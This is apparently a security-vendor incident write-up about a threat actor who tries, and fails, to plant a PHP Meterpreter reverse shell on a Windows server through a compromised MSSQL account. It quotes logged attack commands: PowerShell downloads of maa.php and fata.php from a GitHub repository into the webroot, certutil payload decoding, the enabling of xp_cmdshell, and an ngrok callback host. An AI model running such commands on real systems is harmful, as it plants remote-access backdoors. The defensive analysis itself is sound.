Managing Attack Surface

Background

Given a diverse customer base, Huntress sees a wide range of activity even when it comes to persistent threat actors. When such a threat actor makes attempts to compromise a customer with both managed EDR and managed anti-virus (MAV) services, it’s often very interesting to observe their playbook.

Huntress recently reported alerts to a customer over two days, providing indications of attempts to gain access to an endpoint. The endpoint in question is a Windows Server 2019 Essentials system, which has been monitored by Huntress for over a year. Looking over the history of the organization in the Huntress portal, this incident is the first time this endpoint has generated alerts and been reported to the customer. In short, the threat actor was using apparently previously obtained access to an MSSQL instance to attempt to upload a reverse shell that would be accessible via the web server.

‍

The Attack, Day 1

The initial detections that drew attention to the endpoint were a combination of MAV and process detections alerts. Specifically, as illustrated in Figure 1, a file on the web server, [.highlight]maa.php[.highlight], was detected by Windows Defender as “[.highlight]VirTool:PHP/Meterpreter.A!MTB[.highlight]”.

*Figure 1: MAV Detection For VirTool:PHP/Meterpreter*

In addition, the use of the native Windows utility, [.highlight]certutil.exe[.highlight], was detected being used to decode a file on the endpoint. The Huntress detection is illustrated in Figure 2.

*Figure 2: Huntress certutil.exe Process Detection*

During the time period of the attack on day 1, this cycle was repeated, with MAV and process detections occurring sequentially, as the threat actor attempted to use their access to the MSSQL ‘sa’ account in an attempt to upload a reverse shell to the web server. Unfortunately for the threat actor, Windows Defender repeatedly detected and quarantined the reverse shell files.

At one point during the attack, the threat actor shifted tactics from running PowerShell scripts via [.highlight]sqlservr.exe[.highlight], to running PowerShell commands. Specifically, the following command was observed having been recorded in the PowerShell Event Logs, demonstrating the attempt to upload a specific file from a specific location:

powershell -command Invoke-WebRequest -Uri 'https[:]//raw.githubusercontent[.]com/hightidAOaa/azdaz/main/maa.php' -OutFile 'E:/inetpub/wwwroot/<REDACTED>/maa.php'

Toward the end of the threat actor’s activity for the day, there was a single query for [.highlight]maa.php[.highlight] recorded in the web server logs, originating from [.highlight]41.102.167[.]182[.highlight]. This GET request resulted in a “404” status code, indicating that the file was not found, corresponding to the fact that all attempts to upload the file had been unsuccessful.

In addition, prior to the time period of the attack and beyond, the web server logs illustrated repeated successful queries via sqlmap, a freely available open source penetration testing tool used to look for SQL injection vulnerabilities. All of the queries originated from [.highlight]35.195.172[.]146[.highlight], and resulted in “200” status code responses, indicating that they were successful. However, no additional activity appeared to result from these queries.

‍

The Attack, Day 2

Day 2 of the attack continued with activity similar to day 1, in that PowerShell scripts and commands using [.highlight]certutil.exe[.highlight] were run via [.highlight]sqlservr.exe[.highlight], as illustrated in Figure 3.

*Figure 3: Huntress certutil.exe Process Detection*

As observed during day 1 of the attack, the threat actor shifted from running PowerShell scripts via [.highlight]sqlservr.exe[.highlight] to running PowerShell commands. In this case, however, the threat actor first attempted to upload a different file via a PowerShell command, as seen excerpted from the following PowerShell Event Log record:

[.highlight]powershell -command Invoke-WebRequest -Uri 'https[:]//github[.]com/hightidAOaa/azdaz/raw/main/fata.php' -OutFile 'fata.php'[.highlight]

Shortly after this attempt, the threat actor shifted to attempting to run code similar to what could be found in the maa.php and fata.php files, as illustrated in Figure 4.

*Figure 4: Huntress Reverse Shell Process Detection*

‍

Attack Timeline

Huntress analysts developed an investigative timeline from selected Windows Event Log data, and included pertinent EDR telemetry. The investigative timeline illustrated that the threat actor made repeated attempts to create a reverse shell in an accessible web server folder, attempts spanning about two and a quarter hours spread across two days. During that time, not only were the threat actor’s attempts to execute processes detected, but the actual creation of the reverse shells were detected and removed by Windows Defender.

The threat actor’s activity began at 20:17:10 UTC on day 1, and continued for a little less than 46 minutes. The first indication of the attack within the investigative timeline was a MSSQL event ID 15281 error message, indicating that access to the [.highlight]xp_cmdshell[.highlight] stored procedure was blocked, likely because the component was turned off; shortly thereafter, an MSSQL event ID 15457 message was recorded, indicating that the [.highlight]xp_cmdshell[.highlight] stored procedure configuration was changed from ‘0’ to ‘1’, enabling the stored procedure. This activity was followed by combinations of PowerShell scripts run via [.highlight]sqlservr.exe[.highlight], EDR telemetry (result of commands in the PowerShell scripts being run) resulting in alerts, and Windows Defender detecting and quarantining files resulting from the PowerShell commands, identified by the Huntress SOC as MAV detections.

For example, the following PowerShell script was run via [.highlight]sqlservr.exe[.highlight]:

[.highlight]powershell -ExecutionPolicy ByPass -File C:\Program Files\Microsoft SQL Server\MSSQL14.SQLEXPRESS17\MSSQL\Log\tmppsviix.ps1[.highlight]

From that script, the following [.highlight]certutil.exe[.highlight] command line was run, and detected via the Huntress platform:

[.highlight]certutil -f -decode tmpfrckk.txt C:\Program Files\Microsoft SQL Server\MSSQL14.SQLEXPRESS17\MSSQL\Log\tmpseevcw.exe[.highlight]

This resulted in Windows Defender generating a detection for [.highlight]Trojan:HTML/WebShell!MSR[.highlight], based on the container file [.highlight]C:\Program Files\Microsoft SQL Server\MSSQL14.SQLEXPRESS17\MSSQL\Log\tmpfqckc.txt[.highlight], and subsequently the file [.highlight]C:\Program Files\Microsoft SQL Server\MSSQL14.SQLEXPRESS17\MSSQL\Log\tmpfqckc.txt->(Base64)[.highlight].

This sequence of activity continued, and approximately 45 minutes after initiating their attack, the threat actor changed tactics slightly. At that point, the following PowerShell command appeared in the PowerShell Event Log:

powershell -command Invoke-WebRequest -Uri 'https[://raw.githubusercontent[.]com/hightidAOaa/azdaz/main/maa.php' -OutFile 'E:/inetpub/wwwroot/<REDACTED>/maa.php'

This command immediately resulted in Windows Defender detecting the file

E:\inetpub\wwwroot\<REDACTED>\maa.php

as [.highlight]VirTool:PHP/Meterpreter.A!MTB[.highlight], and quarantining it. Shortly thereafter, a GET request for the file [.highlight]maa.php[.highlight] appeared in the web server logs, originating from [.highlight]41.102.167[.]182[.highlight], and resulting in a “404” response code, indicating that the file was not found.

At the time of this writing, as illustrated in Figure 5, the files within the GitHub repository had only been available for a short period of time.

*Figure 5: Screenshot of GitHub Repository (Excerpt)*

Day 2 saw a dozen failed login attempts to the MSSQL server ‘sa’ account, starting at 14:44:00 UTC and running for approximately an hour and a half. All of the attempts apparently originated from ‘localhost’. It’s unlikely that these attempts were related to the threat actor’s activity, as the MSSQL messages in the Windows Event Log dated 28 April 2023, and these observed failed login attempts were the first such messages within the investigative timeline.

Subsequent to these attempts, the threat actor’s activity began again at 18:27:10 UTC, and continued for approximately an hour and a half. Most of the threat actor’s initial attempts were the same as day 1, running PowerShell scripts that resulted in MAV detections, and the files being quarantined. Approximately 40 minutes into the threat actor’s activities, the following command was recorded in the PowerShell Event Log:

[.highlight]powershell -command Invoke-WebRequest -Uri 'https[:]//github[.]com/hightidAOaa/azdaz/raw/main/fata.php' -OutFile 'fata.php'[.highlight]

The final threat actor activity observed on day 2 consisted of attempts to create a reverse shell directly through PowerShell commands issued via [.highlight]sqlservr.exe[.highlight], connecting to [.highlight]0.tcp.eu.ngrok[.]io[.highlight], the same host listed in [.highlight]maa.php[.highlight] and [.highlight]fata.php[.highlight]. An excerpt of this code can be seen in Figure 4, and is very similar to the code contained in the two PHP files.

Examining the web server logs for day 2 of the attack revealed no GET requests for either [.highlight]maa.php[.highlight] or [.highlight]fata.php[.highlight].

Even though MSSQL messages recorded in the Windows Event Log extended back almost 11 months, there were no observed failed login attempts leading up to the attack on day 1, indicating that the threat actor likely had access to the necessary credentials prior to the attack. The configuration of the MSSQL instance installed on the endpoint only recorded failed login attempts and not successful logins, so Huntress analysts were unable to determine the source of the logins.

On neither day were there any apparent actions by the threat actor to determine what was blocking their attempts to create the reverse shell. However, the threat actor was observed shifting tactics, from running PowerShell scripts to commands, even to the point of simply attempting to run PowerShell code similar to what could be seen in the PHP files. In fact, this threat actor followed a similar playbook across both days, and in neither case did they succeed in getting the reverse shell uploaded and functioning.

All of this indicates a certain amount of preparedness on the part of the threat actor, but also a lack of situational awareness and any apparent interest in troubleshooting, or resolving or correcting the issue. There were no [.highlight]tasklist[.highlight] commands observed in an attempt to determine processes or services running on the endpoint. Huntress analysts have observed attempts to disable Windows Defender in the past, but this was not something observed during this incident.

Of note was the threat actor’s attempts to make use of publicly available PHP reverse shell code; this is something that’s been observed many times in the past, and will likely continue to be seen into the future. Threat actors are regularly and routinely observed making use of publicly available offensive security tools, network scanning tools, etc.

‍

Conclusion

Basic IT hygiene consists of several steps, the first being an asset inventory. This consists of an accounting not just of physical or virtual systems, but also the applications and services that are running on those systems and are accessible from the outside world. The next step is attack surface reduction; Huntress has addressed the topic of attack surface reduction, specifically as it applies to MSSQL servers, in previous blog posts. If a service or application is not required for the business function of the endpoint or the user, consideration should be given to removing it; otherwise, it needs to be part of the asset inventory so that it can be kept up-to-date and patched as needed.

‍